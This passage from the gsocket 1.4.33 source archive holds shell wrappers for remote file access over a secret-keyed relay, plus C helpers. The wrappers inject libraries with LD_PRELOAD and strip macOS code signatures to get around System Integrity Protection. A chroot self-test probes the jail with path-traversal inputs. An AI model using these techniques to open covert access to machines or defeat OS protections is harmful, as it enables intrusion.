int GS_GLOBBING_argv(gsglobbing_cb_t func, const char *argv[], void *arg_ptr, uint32_t arg_val);
#endif /* !__GS_GLOBBING_H__ */ gsocket-1.4.33/tools/gs-mount 0000775 0000000 0000000 00000004571 14072625040 0016107 0 ustar 00root root 0000000 0000000 #! /usr/bin/env bash
# A wrapper script to do this (essentially):
# $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host
#
# $ export GSOCKET_ARGS="-s MySecret" # Workstation
# $ sshfs -o ServerAliveInterval=30,reconnect,attr_timeout=60,auto_cache,compression=yes,default_permissions -o ssh_command="gs-netcat --" -o idmap=user,uid="${UID}",gid="$(id -g)" x@127.1:. ~/gs-fs
# Try to use the gs-netcat that's in the same directory as this executable.
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# shellcheck disable=SC1090 # Can't follow non-constant source. Use a directive to specify location.
# shellcheck disable=SC1091 # Not following: /etc/gsocket.conf was not specified as input (see shellcheck -x)
source "${BASEDIR}/gs_funcs" 2>/dev/null || source "${BASEDIR}/../share/gsocket/gs_funcs" 2>/dev/null || { { source /etc/gsocket.conf 2>/dev/null || source "${BASEDIR}/../etc/gsocket.conf" 2>/dev/null || { echo >&2 "gsocket: gsocket.conf not found."; exit 3; } } && { source "${GS_PREFIX}/share/gsocket/gs_funcs" 2>/dev/null; } } || { echo >&2 "gsocket: gs_funcs not found"; exit 3; }
my_usage()
{
echo "${BIN_NAME} [-k file] [-s password] [-l] [mount point]"
usage "${BIN_NAME}"
exit 0
}
gs_init
do_getopt "$@"
shift $((OPTIND -1)) # Mount Point
env_arg_init
if [[ -z ${IS_SERVER} ]]; then
# CLIENT
SSHFS_OPT="ServerAliveInterval=30,reconnect,attr_timeout=60,auto_cache,compression=yes,default_permissions,idmap=user,uid=${UID},gid=$(id -g)"
# echo "Remaining (files): $*"
[[ -z "${1}" ]] && { echo >&2 "ERROR: No directory (mount point) specified."; my_usage; }
command -v sshfs >/dev/null 2>&1 || { echo >&2 "sshfs not found. Try 'apt-get install sshfs' or check PATH=?"; exit 1; }
# FUSE_OPT=",cache=yes,kernel_cache"
FUSE_OPT=""
if [[ "$OSTYPE" == "darwin"* ]]; then
# Setting 'noapplexattr' prevents 'finder' from copying.
FUSE_OPT+=",async,local,iosize=65536,noappledouble,volname=THC-"$(basename "${1}")
fi
fi
if [[ -n ${IS_SERVER} ]]; then
# SERVER
sftp_server_start
else
# CLIENT
ARGS=" -q"
[[ -n ${ARGS_NEW[*]} ]] && ARGS=" ${ARGS_NEW[*]}"
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" sshfs -o "${SSHFS_OPT}${FUSE_OPT}" -o ssh_command="${GS_NETCAT_BIN}${ARGS} --" x@127.1:. "${1}" || exit 1
echo "Successfully mounted on ${1}."
command -v fusermount >/dev/null 2>&1 && echo "To unmount use: fusermount -zu ${1}"
fi
gsocket-1.4.33/tools/gs-netcat.h 0000664 0000000 0000000 00000000314 14072625040 0016435 0 ustar 00root root 0000000 0000000 #ifndef __GS_NETCAT_H__
#define __GS_NETCAT_H__ 1
int write_gs(GS_SELECT_CTX *ctx, struct _peer *p, int *killed);
int write_gs_atomic(GS_SELECT_CTX *ctx, struct _peer *p);
#endif /* !__GS_NETCAT_H__ */
gsocket-1.4.33/tools/gs-sftp 0000775 0000000 0000000 00000003217 14072625040 0015715 0 ustar 00root root 0000000 0000000 #! /usr/bin/env bash
# A wrapper script to do this (essentially):
# $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server # Host
#
# $ export GSOCKET_ARGS="-s MySecret" # Workstation
# $ sftp -D gs-netcat # Workstation
# Try to use the gs-netcat that's in the same directory as this executable.
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# shellcheck disable=SC1090 # Can't follow non-constant source. Use a directive to specify location.
# shellcheck disable=SC1091 # Not following: /etc/gsocket.conf was not specified as input (see shellcheck -x)
source "${BASEDIR}/gs_funcs" 2>/dev/null || source "${BASEDIR}/../share/gsocket/gs_funcs" 2>/dev/null || { { source /etc/gsocket.conf 2>/dev/null || source "${BASEDIR}/../etc/gsocket.conf" 2>/dev/null || { echo >&2 "gsocket: gsocket.conf not found."; exit 3; } } && { source "${GS_PREFIX}/share/gsocket/gs_funcs" 2>/dev/null; } } || { echo >&2 "gsocket: gs_funcs not found"; exit 3; }
my_usage()
{
echo "${BIN_NAME} [-k file] [-s password] [-l]"
usage "${BIN_NAME}"
exit 0
}
command -v sftp >/dev/null 2>&1 || { echo >&2 "sftp not found. Try 'apt-get install openssh' or check PATH=?"; exit 1; }
gs_init
do_getopt "$@"
shift $((OPTIND -1)) # Mount Point
env_arg_init
if [[ -n ${IS_SERVER} ]]; then
# SERVER
sftp_server_start
else
# CLIENT
ARGS=" -q"
[[ -n ${ARGS_NEW[*]} ]] && ARGS=" ${ARGS_NEW[*]}"
# shellcheck disable=SC2086 # Double quote to prevent globbing and word splitting. ${RSYNC_ARGS} -> We want word splitting for multiple arugments.
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}${ARGS}" exec sftp -D "${GS_NETCAT_BIN}"
fi
gsocket-1.4.33/tools/gs_funcs 0000775 0000000 0000000 00000031305 14072625040 0016140 0 ustar 00root root 0000000 0000000 #! /usr/bin/env bash
[[ $(basename "$0") = "gs_funcs" ]] && { echo "Use gsocket, gs-netcat, gs-sftp, gs-mount or blitz instead."; exit 1; }
# Find a sftp-server binary
find_binary()
{
bin=$1
command -v "${bin}" && { echo "${bin}"; return; }
shift 1
for dir in "$@"; do
file="${dir}/${bin}"
if [[ -f "$file" ]]; then
echo "${file}"
return
fi
done
echo ""
return
}
read_password()
{
echo -n >&2 "${GS_PRFX}Enter Secret (or press Enter to generate): "
read -r password
if [[ -z "${password}" ]]; then
password=$(${GS_NETCAT_BIN} -g)
fi
echo "${password}" | tr -d "[:space:]"
}
# haystack1 haystack2 needle
ucheck_fail()
{
[[ "$1" =~ $3 ]] || { echo >&2 "Symbol $3 not found in sftp-server."; exit 255; }
[[ "$2" =~ $3 ]] || { echo >&2 "Symbol $3 not found (2)."; exit 255; }
}
test_sftp()
{
echo "${1}" | ./gs-sftp -k id_sec.txt -wq 2>&1 | grep -c "Permission denied"
}
first_symbol()
{
for func in "$@"; do
if [[ "$sym_sftp" =~ $func ]]; then
echo "$func "
return
fi
done
echo ">>>$*-NOT-FOUND<<< "
}
uchroot_check_sym()
{
command -v nm >/dev/null 2>&1 || { echo >&2 "chroot failed (nm not found. apt-get install binutils?). Try -U to disable."; exit 255; }
# Extract symbols from .so and sftp-server binary
if [[ "$OSTYPE" == "darwin"* ]]; then
# on OSX remove the starting "_" from symboles
sym_sftp="$(nm -pu "${SFTP_SERVER_BIN}" | sed 's/^_//g')"
sym_uchr="$(nm -p "${UCHROOT_BIN}" | grep " T " | sed 's/^_//g')"
elif [[ "$OSTYPE" == "solaris"* ]]; then
sym_sftp="$(nm -Du "${SFTP_SERVER_BIN}")"
sym_uchr="$(nm -p "${UCHROOT_BIN}" | grep " T ")"
else
sym_sftp="$(nm -Du "${SFTP_SERVER_BIN}")"
sym_uchr="$(nm -D "${UCHROOT_BIN}" | grep " T ")"
fi
[[ -n "$sym_uchr" ]] || { echo >&2 "chroot self-test failed (nm bad1). Try -U to disable."; exit 255; }
[[ -n "$sym_sftp" ]] || { echo >&2 "chroot self-test failed (nm bad2). Try -U to disable."; exit 255; }
funclist+=$(first_symbol lstat\$INODE64 __lxstat64 __lxstat lstat64 lstat)
funclist+=$(first_symbol stat\$INODE64 __xstat64 __xstat stat64 stat)
funclist+=$(first_symbol opendir\$INODE64 opendir64 opendir)
funclist+=$(first_symbol open64 open)
if [[ ! "$OSTYPE" == "solaris2.10"* ]]; then
# On solaris 10 the stock OpenSSH install does not use statvfs64 (older version)
funclist+=$(first_symbol statvfs64 statvfs)
fi
[[ "${funclist}" =~ "NOT-FOUND"* ]] && { echo >&2 "Missing symbol...${funclist}"; exit 255; }
funclist+="chmod link mkdir rename rmdir symlink unlink"
# echo "funclist = $funclist" # DEBUG
for func in ${funclist}; do
ucheck_fail "${sym_sftp}" "${sym_uchr}" "${func}"
done
}
# Verify that all symboles will get hijacked. exit on failure.
# linux osx solaris
# sftp -Du -pu -Du
# .so -D|T -p|T -p|T
uchroot_check()
{
local VALID_CMD
local FAIL_CMD
# skip nm-style symbol check on cygwin
# (sftp-server does not like nm on cygwin?!)
if [[ x"$OSTYPE" != "xcygwin"* ]]; then
# NOT cygwin
uchroot_check_sym
fi
# Run a self test (sftp -D sftp-server)
command -v sftp >/dev/null 2>&1 || { echo >&2 "chroot self-test failed (sftp not found). Try -U to disable."; exit 255; }
mkdir -p "${ROOTDIR}/ok"
mkdir -p "${ROOTDIR}/denied"
# echo "ROOTDIR=${ROOTDIR}" # DEBUG
echo hello exist-allowed.txt >"${ROOTDIR}/ok/exist-allowed.txt"
echo hello exist-denied.txt >"${ROOTDIR}/denied/exist-denied.txt"
dd if=/dev/urandom bs=1k count=1 2>/dev/null >"${ROOTDIR}/ok/test1k.dat"
echo "
#! /bin/bash
cd \"${ROOTDIR}\"/ok
${PRELOAD} ${SFTP_SERVER_BIN} ${SFTP_ARGS[*]}" >"${ROOTDIR}/sftp-server.sh"
chmod 755 "${ROOTDIR}/sftp-server.sh"
# Run GOOD commands that should work
VALID_CMD="
mkdir dir1
cd dir1
cd ..
cd dir1
cd ../
ls ${ROOTDIR}/ok
ls ${ROOTDIR}/ok/exist-allowed.txt
put test1k.dat dir1
mkdir ./dir2/
"
[[ $(cd "${ROOTDIR}/ok"; echo "$VALID_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "Permission denied") -eq 0 ]] || { echo >&2 "Self test failed (valid cmd)"; exit 255; }
[[ -d "${ROOTDIR}/ok/dir1" ]] || { echo >&2 "chroot self-test failed (valid-cmd 1). Try -U to disable."; exit 255; }
[[ -d "${ROOTDIR}/ok/dir2" ]] || { echo >&2 "chroot self-test failed (valid-cmd 2). Try -U to disable."; exit 255; }
[[ -f "${ROOTDIR}/ok/dir1/test1k.dat" ]] || { echo >&2 "chroot self-test failed (valid-cmd 3). Try -U to disable."; exit 255; }
FAIL_CMD="
rename exist-allowed.txt ../denied/0wned.txt
mkdir ./dir1/../../denied/0wned
cd dir1/../../denied
cd ./../denied
ls ${ROOTDIR}
cd ${ROOTDIR}
cd ${ROOTDIR}/denied
cd ${ROOTDIR}/ok/../denied
rm ./../denied/exist-denied.txt
put test1k.dat ../denied/0wned.dat
put test1k.dat ../denied/exist-denied.txt
rename exist-allowed.txt ../denied/0wned.txt
rename exist-allowed.txt /0wned.txt
"
[[ $(cd "${ROOTDIR}/ok"; echo "$FAIL_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "Permission denied") -eq 13 ]] || { echo >&2 "Self test failed (2)"; exit 255; }
FAIL_CMD="
ls dir1/../../denied
ls ./../denied/exist-denied.txt"
[[ $(cd "${ROOTDIR}/ok"; echo "$FAIL_CMD" | sftp -D "${ROOTDIR}/sftp-server.sh" 2>&1 | grep -c "not found") -eq 2 ]] || { echo >&2 "Self test failed (3)"; exit 255; }
rm -rf "${ROOTDIR}/ok" &>/dev/null
rm -rf "${ROOTDIR}/denied" &>/dev/null
rm -rf "${ROOTDIR}/sftp-server.sh" &>/dev/null
}
gs_find_so_single()
{
[[ -e "${1}/${2}" ]] && { echo "$(cd "${1}" || exit; pwd)""/${2}"; }
}
arrayContains()
{
local e match="$1"
shift
for e; do [[ "$e" == "$match" ]] && return 0; done
return 1
}
# Search for the dynamic shared object file.
# 1. Try $basedir
# 2. Try ${basedir}/../lib
# 3. Try /usr/lib
# 4. Try /usr/local/lib
# Return absolute path to DSO.
gs_find_so()
{
local DL=("${BASEDIR}")
# Debian packaging requires libs in /usr/lib/x86_64-linux-gnu :/
if command -v dpkg-architecture &>/dev/null; then
DL+=("/usr/lib/$(dpkg-architecture -qDEB_HOST_MULTIARCH)")
fi
DL+=("${1}/lib") # This is either GS_PREFIX/lib or BASEDIR/../lib
arrayContains "/usr/lib" "${DL[@]}" || DL+=("/usr/lib")
arrayContains "/usr/local/lib" "${DL[@]}" || DL+=("/usr/local/lib")
for dir in "${DL[@]}"; do
res=$(gs_find_so_single "${dir}" "${2}")
[[ -z "$res" ]] || { echo "$res"; return; }
done
}
gs_init()
{
GS_NETCAT_BIN="gs-netcat"
BIN="${BASEDIR}/${GS_NETCAT_BIN}"
[[ -f "${BIN}" ]] && GS_NETCAT_BIN="${BIN}"
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
GS_SFTP_BIN="${BASEDIR}/gs-sftp"
EXE=""
if [[ "$OSTYPE" == "cygwin"* ]]; then
EXE=".exe"
fi
# To find sftp-server and DSO's in PREFIX/lib
PREFIX="$GS_PREFIX"
[[ -z "$PREFIX" ]] && PREFIX="$(cd "$(dirname "${0}")/../" || exit; pwd)"
# on OSX the dl-files are called .bundle (not .dylib) but it is generally
# accepted to call them .so. OSX keep those is /System/Library/gsocket
# but automake insists on ${PREFIX}/lib
UCHROOT_BIN=$(gs_find_so "$PREFIX" "gsocket_uchroot_dso.so.0${EXE}")
[[ -z "$UCHROOT_BIN" ]] && { echo >&2 "gsocket: gsocket_uchroot_dso.so.0${EXE} not found."; exit 5; }
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
GS_SO_BIN=$(gs_find_so "$PREFIX" "gsocket_dso.so.0${EXE}")
[[ -z "$GS_SO_BIN" ]] && { echo >&2 "gsocket: gsocket_dso.so.0${EXE} not found."; exit 5; }
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
BIN_NAME="$(basename "${0}")"
command -v "${GS_NETCAT_BIN}" >/dev/null 2>&1 || { echo >&2 "${GS_NETCAT_BIN} not found. Check PATH=?"; exit 1; }
}
usage()
{
echo "
-l Server Mode.
-R Server in read-only mode.
-s Secret (e.g. password).
-k Read Secret from file.
Example:
$ ${1} -s MySecret -l # Server
$ ${1} -s MySecret # Client
See 'gs-netcat -h' for more options."
}
do_getopt()
{
OPTERR=0
FL_NEED_PASSWORD=1
IS_UCHROOT=1
# Check if -s or -k is already supplied in environment and dont ask again.
[[ "$GSOCKET_ARGS" =~ ^'-s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ^'-k' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -k' ]] && unset FL_NEED_PASSWORD
# shellcheck disable=SC2220 # Invalid flags are not handled. Add a *) case.
while getopts ":qhURgls:k:L:" opt; do
case ${opt} in
s )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$OPTARG" # Add to end of array
unset FL_NEED_PASSWORD
;;
k )
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-k" # Add to end of array
KFILE=$(cd "$(dirname "$OPTARG")" && pwd)/$(basename "$OPTARG")
[[ -f "${KFILE}" ]] || { echo >&2 "File not found: ${KFILE}"; exit 255; }
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="${KFILE}" # Add to end of array
# KFILE=$(eval echo "$OPTARG") # Add to end of array
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]=$(eval echo "$OPTARG") # Add to end of array
unset FL_NEED_PASSWORD
;;
g )
"${GS_NETCAT_BIN}" -g
exit
;;
h )
my_usage
;;
q )
IS_QUIET=1
ARGS_NEW[${#ARGS_NEW[@]}]="-q"
;;
l )
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
IS_SERVER=1
ARGS_NEW[${#ARGS_NEW[@]}]="-l" # Add to end of array
;;
R )
# shellcheck disable=SC2034 # appears unused. Verify use (or export if used externally).
IS_READONLY=1
SFTP_ARGS[${#SFTP_ARGS[@]}]="-R"
;;
U )
unset IS_UCHROOT
;;
\? )
# UNKNOWN option. Handle before '*' (e.g. -l)
ARGS_NEW[${#ARGS_NEW[@]}]="-${OPTARG}" # Add to end of array
;;
* )
# Other (known opts from opstring) w parameters (e.g. -L )
ARGS_NEW[${#ARGS_NEW[@]}]="-${opt}" # Add to end of array
ARGS_NEW[${#ARGS_NEW[@]}]="${OPTARG}" # Add to end of array
;;
esac
done
# Solaris 10 problems:
# - stock sftp-server does not allow -p -> Acceptable risk
# - LD_PRELOAD does not seem to work. Does anyone still use solaris10?
if [[ "$OSTYPE" == "solaris2.10"* ]]; then
echo -e >&2 "\033[1;31mWARNING\033[0m: uchroot not (yet) supported on solaris 10."
unset IS_UCHROOT
fi
}
env_arg_init()
{
# Prepare existing GSOCKET_ARGS to take more arguments if there are any
[[ -n "$GSOCKET_ARGS" ]] && GSOCKET_ARGS+=" "
if [[ -n "$FL_NEED_PASSWORD" ]]; then
password=$(read_password)
# shellcheck disable=SC2034 # GSOCKET_SECRET appears unused => It's used in 'gs'
GSOCKET_SECRET="${password}"
echo "${GS_PRFX}=Secret : ${password}"
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$password" # Add to end of array
fi
# Have to output it here because gs-netcat might be started from withing
# sshfs or sftpd where stderr is no longer available to gs-netcat
[[ -n "$IS_QUIET" ]] || echo >&2 "${GS_PRFX}=Encryption : SRP-AES-256-CBC-SHA-End2End (Prime: 4096 bits)"
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
}
sftp_server_start()
{
# SERVER
if [[ "$OSTYPE" == "darwin"* ]]; then
# OSX does not allow LD_PRELOAD of binaries in /usr/. Copy to tmp...
ROOTDIR=$(mktemp -d -t thc-gs-sftp)
# FIXME: temp file only cleaned on reboot. Hmm...
cp /usr/libexec/sftp-server "${ROOTDIR}/sftp-server" &>/dev/null
SFTP_SERVER_BIN="${ROOTDIR}/sftp-server"
PRELOAD="DYLD_INSERT_LIBRARIES=${UCHROOT_BIN} DYLD_FORCE_FLAT_NAMESPACE=1"
else
if [[ -n "${IS_UCHROOT}" ]]; then
ROOTDIR=$(mktemp -d -t thc-gs-sftp-XXXXXXXXXXXXXXX)
fi
SFTP_SERVER_BIN=$(find_binary sftp-server${EXE} "${PREFIX}/lib" /opt/csw/libexec /usr/lib /usr/local/lib /usr/libexec /usr/libexec/openssh /usr/lib/ssh /usr/sbin)
PRELOAD="LD_PRELOAD=${UCHROOT_BIN}"
fi
[[ -z "${SFTP_SERVER_BIN}" ]] && { echo >&2 "sftp-server binary not found."; exit 1; }
# SFTP_ARGS[${#SFTP_ARGS[@]}]="-l"
# SFTP_ARGS[${#SFTP_ARGS[@]}]="DEBUG3" # tail /var/log/auth.log | grep 'Refusing non-whitelisted'
# Whitelist of commands sftp-server should allow (most are not needed
# by sftp but for sshfs)
# *** WARNING ***: If you add a string here you also must make sure that
# gsocket_uchroot_dso checks the command for uchroot-escape.
SFTP_ARGS[${#SFTP_ARGS[@]}]="-p"
SFTP_ARGS[${#SFTP_ARGS[@]}]="open,opendir,mkdir,remove,rmdir,symlink,hardlink,stat,posix-rename,statvfs,setstat,fsetstat,fstat,lstat,readdir,realpath,write,read,close"
ENV_ARGS="${GSOCKET_ARGS}${GSNC_ENV_ARGS[*]}"
if [[ -n "${IS_UCHROOT}" ]]; then
[[ -z "${ROOTDIR}" ]] && { echo >&2 "chroot self test failed (mktemp). Try -U to disable."; exit 1; }
uchroot_check
# Try to delete temporary directory. OSX still has sftp-server bin in there and must be deleted
rmdir "${ROOTDIR}" &>/dev/null
else
echo -e >&2 "\033[1;31mWARNING\033[0m: uchroot disabled. Allowing access to *ALL* files on this host."
unset PRELOAD
fi
GSOCKET_NO_GREETINGS="1" GSOCKET_ARGS="${ENV_ARGS}" exec "${GS_NETCAT_BIN}" "${ARGS_NEW[@]}" -e "${PRELOAD} ${SFTP_SERVER_BIN} ${SFTP_ARGS[*]} 2>/dev/null"
}
gsocket-1.4.33/tools/gsocket 0000775 0000000 0000000 00000012377 14072625040 0016000 0 ustar 00root root 0000000 0000000 #! /usr/bin/env bash
# Try to use the gs-netcat that's in the same directory as this executable.
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# shellcheck disable=SC1090 # Can't follow non-constant source. Use a directive to specify location.
# shellcheck disable=SC1091 # Not following: /etc/gsocket.conf was not specified as input (see shellcheck -x)
source "${BASEDIR}/gs_funcs" 2>/dev/null || source "${BASEDIR}/../share/gsocket/gs_funcs" 2>/dev/null || { { source /etc/gsocket.conf 2>/dev/null || source "${BASEDIR}/../etc/gsocket.conf" 2>/dev/null || { echo >&2 "gsocket: gsocket.conf not found."; exit 3; } } && { source "${GS_PREFIX}/share/gsocket/gs_funcs" 2>/dev/null; } } || { echo >&2 "gsocket: gs_funcs not found"; exit 3; }
my_usage()
{
echo "${BIN_NAME} [-k file] [-s password]
-s Secret (e.g. password).
-k Read Secret from file.
-p Range of listening ports to redirect [default=all]
-T Use TOR.
Example:
$ ${BIN_NAME} -s MySecret /usr/bin/sshd -d # Server
$ ${BIN_NAME} -s MySecret ssh root@gsocket # Client
See 'gs-netcat -h' for more options."
exit "$1"
}
my_getopt()
{
OPTERR=0
# shellcheck disable=SC2034 # FL_NEED_PASSWORD appears unused. => used i env_arg_init
FL_NEED_PASSWORD=1
# Check if -s or -k is already supplied in environment and dont ask again.
[[ "$GSOCKET_ARGS" =~ ^'-s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -s' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ^'-k' ]] && unset FL_NEED_PASSWORD
[[ "$GSOCKET_ARGS" =~ ' -k' ]] && unset FL_NEED_PASSWORD
# shellcheck disable=SC2220 # Invalid flags are not handled. Add a *) case.
while getopts ":qhgTp:s:k:L:" opt; do
case ${opt} in
s )
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$OPTARG" # Add to end of array
GSOCKET_SECRET="$OPTARG"
unset FL_NEED_PASSWORD
;;
k )
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-k" # Add to end of array
KFILE=$(cd "$(dirname "$OPTARG")" && pwd)/$(basename "$OPTARG")
[[ -f "${KFILE}" ]] || { echo >&2 "File not found: ${KFILE}"; exit 255; }
GSOCKET_SECRET=$(<"${KFILE}")
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="${KFILE}" # Add to end of array
# KFILE=$(eval echo "$OPTARG") # Add to end of array
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]=$(eval echo "$OPTARG") # Add to end of array
unset FL_NEED_PASSWORD
;;
g )
"${GS_NETCAT_BIN}" -g
exit
;;
h )
my_usage 0
;;
p )
GS_HIJACK_PORTS="${OPTARG}"
;;
T )
[[ -z "${GSOCKET_SOCKS_IP}" ]] && GSOCKET_SOCKS_IP="127.0.0.1"
;;
q )
# shellcheck disable=SC2034 # IS_QUIET appears unused. => Used in env_arg_init
IS_QUIET=1
ARGS_NEW[${#ARGS_NEW[@]}]="-q"
;;
\? )
# UNKNOWN option. Handle before '*' (e.g. -l)
ARGS_NEW[${#ARGS_NEW[@]}]="-${OPTARG}" # Add to end of array
;;
* )
# Other (known opts from opstring) w parameters (e.g. -L )
ARGS_NEW[${#ARGS_NEW[@]}]="-${opt}" # Add to end of array
ARGS_NEW[${#ARGS_NEW[@]}]="${OPTARG}" # Add to end of array
;;
esac
done
[[ -n "${GSOCKET_SECRET}" ]] && unset FL_NEED_PASSWORD
}
# default values
GS_HIJACK_PORTS="1-65535"
# shellcheck disable=SC2034 # GS_RFX appears unused. => Used in gs_funcs
GS_PRFX="gsocket: "
gs_init
my_getopt "$@"
shift $((OPTIND -1))
[[ ${#@} -le 0 ]] && { echo >&2 "ERROR: No program specified"; my_usage 255; }
command -v "$1" >/dev/null 2>&1 || { echo >&2 "gsocket: command not found: ${1}"; exit 1; }
if [[ "$OSTYPE" == "darwin"* ]]; then
# OSX does not allow LD_PRELOAD of binaries in /usr/. Copy to tmp...
ROOTDIR=$(mktemp -d -t thc-gs)
PROGBIN_FULLPATH=$(which "$1")
[[ -z "$PROGBIN_FULLPATH" ]] && { echo >&2 "gsocket: command not found: ${1}"; exit 1; }
# FIXME: temp file is only cleaned on reboot. Hmm...
cp "${PROGBIN_FULLPATH}" "${ROOTDIR}/" &>/dev/null
PROGBIN_NAME="$(basename "${1}")" # programm binary
PROGBIN="${ROOTDIR}/${PROGBIN_NAME}"
# System Integrity Protection makes dyld ignore
# DYLD_INSERT_LIBRARIES.
# There are two ways how MacOS determines if a binary is SIP protected:
# 1. The location of the binary (ls -alO /usr/bin/ssh)
# 2. If the binary contains 'entitlements' (regardless of its location on the fs).
# A hack around this is to remove the signature completed (which will also disable
# any entitlements).
IS_REMOVE_SIGN=1
command -v csrutil >/dev/null && [[ ! "$(csrutil status)" =~ enabled ]] && { unset IS_REMOVE_SIGN; }
[[ -n $IS_REMOVE_SIGN ]] && command -v codesign >/dev/null && [[ -n "$(codesign -d --entitlements - "${PROGBIN}" 2>/dev/null)" ]] && {
codesign --remove-signature "${PROGBIN}";
}
else
ROOTDIR=""
PROGBIN="${1}"
fi
env_arg_init
shift 1
if [[ "$OSTYPE" == "darwin"* ]]; then
GS_NETCAT_BIN=${GS_NETCAT_BIN} GS_HIJACK_PORTS="${GS_HIJACK_PORTS}" GSOCKET_SOCKS_IP="${GSOCKET_SOCKS_IP}" GSOCKET_ARGS="${ENV_ARGS} ${ARGS_NEW[*]}" GSOCKET_SECRET="${GSOCKET_SECRET}" DYLD_INSERT_LIBRARIES=${GS_SO_BIN} DYLD_FORCE_FLAT_NAMESPACE=1 exec "${PROGBIN}" "$@"
else
GS_NETCAT_BIN=${GS_NETCAT_BIN} GS_HIJACK_PORTS="${GS_HIJACK_PORTS}" GSOCKET_SOCKS_IP="${GSOCKET_SOCKS_IP}" GSOCKET_ARGS="${ENV_ARGS} ${ARGS_NEW[*]}" GSOCKET_SECRET="${GSOCKET_SECRET}" LD_PRELOAD=${GS_SO_BIN} exec "${PROGBIN}" "$@"
fi
gsocket-1.4.33/tools/gsocket.conf.in 0000664 0000000 0000000 00000000224 14072625040 0017312 0 ustar 00root root 0000000 0000000
# Global gsocket.conf file.
# This file is first looked for in /etc/gsocket.conf
# and then in @prefix@/etc/gsocket.conf
GS_PREFIX=@REALPREFIX@
gsocket-1.4.33/tools/gsocket_dso-lib.c 0000664 0000000 0000000 00000005600 14072625040 0017616 0 ustar 00root root 0000000 0000000 #include "common.h"
#include "gsocket_dso-lib.h"
struct _gopt gopt; // defined in common.h
#ifdef DEBUG
struct _g_debug_ctx g_dbg_ctx;
#endif
void
authcookie_gen(uint8_t *cookie, const char *secret, uint16_t port)
{
char buf[128];
// gs-netcat -I is passed the secret as '-' and thus
// when called from gs-netcat -I we do not need to append the port here.
if (port == 0)
snprintf(buf, sizeof buf, "AUTHCOOKIE-%s", secret);
else
snprintf(buf, sizeof buf, "AUTHCOOKIE-%u-%s", port, secret);
DEBUGF_Y("AC='%s'\n", buf);
SHA256((unsigned char *)buf, strlen(buf), cookie);
}
// Add a portrange to the list. Return number of ports added.
// range = '1-65535' or '53' or '22 - 4321'.
static int
gs_portrange_add(struct _gs_portrange_list *l, char *range)
{
char *ptr = range;
char *last = range;
char *end = range + strlen(range);
uint16_t low = 0;
uint16_t high = 0;
while ((*ptr >= '0') && (*ptr <= '9'))
ptr += 1;
*ptr = '\0';
low = atoi(last);
high = low;
ptr += 1;
if (ptr < end)
{
// Skip anything that's not a number
while (ptr < end)
{
if ((*ptr >= '0') && (*ptr <= '9'))
break;
ptr += 1;
}
last = ptr;
// Skip until non-number.
while ((*ptr >= '0') && (*ptr <= '9'))
ptr += 1;
*ptr = '\0';
if (ptr - last > 0)
high = atoi(last);
if (high < low)
high = low;
}
if (low == 0)
return 0; // error
if (l->n_entries >= l->n_max)
{
l->n_max += 10;
l->list = realloc(l->list, l->n_max * sizeof *l->list);
}
DEBUGF("Ports %u-%u\n", low, high);
l->list[l->n_entries].low = low;
l->list[l->n_entries].high = high;
l->n_entries += 1;
return high - low + 1;
}
int
GS_portrange_is_match(struct _gs_portrange_list *l, uint16_t port)
{
int i;
for (i = 0; i < l->n_entries; i++)
{
if ((l->list[i].low <= port) && (port <= l->list[i].high))
{
DEBUGF("%u <= port %u <= %u\n", l->list[i].low, port, l->list[i].high);
return 1; // TRUE
}
}
return 0; // FALSE
}
// Return the number of ports
int
GS_portrange_new(struct _gs_portrange_list *l, const char *range_orig)
{
char *ptr;
int added = 0; // no port range added (zero)
DEBUGF("ORIG=%s %zu\n", range_orig, strlen(range_orig));
char *range = strdup(range_orig);
char *last = range;
memset(l, 0, sizeof *l);
if (range_orig == NULL)
return 0;
// Find a range '53' '1-2345' '22-38' among string like ' 53, 1-2456;22-38'
while (1)
{
// Remove all spaces
while ((*last == ' ') || (*last == ','))
last += 1;
// Find deliminator
ptr = strchr(last, ',');
if (ptr == NULL)
{
ptr = strchr(last, ' ');
if (ptr == NULL)
{
ptr = strchr(last, ';');
if (ptr == NULL)
break;
}
}
*ptr = '\0';
ptr += 1;
// HERE: '23-3843'
added += gs_portrange_add(l, last);
last = ptr;
}
added += gs_portrange_add(l, last);
XFREE(range);
return added;
}
void
GS_portrange_free(struct _gs_portrange_list *l)
{
XFREE(l->list);
}
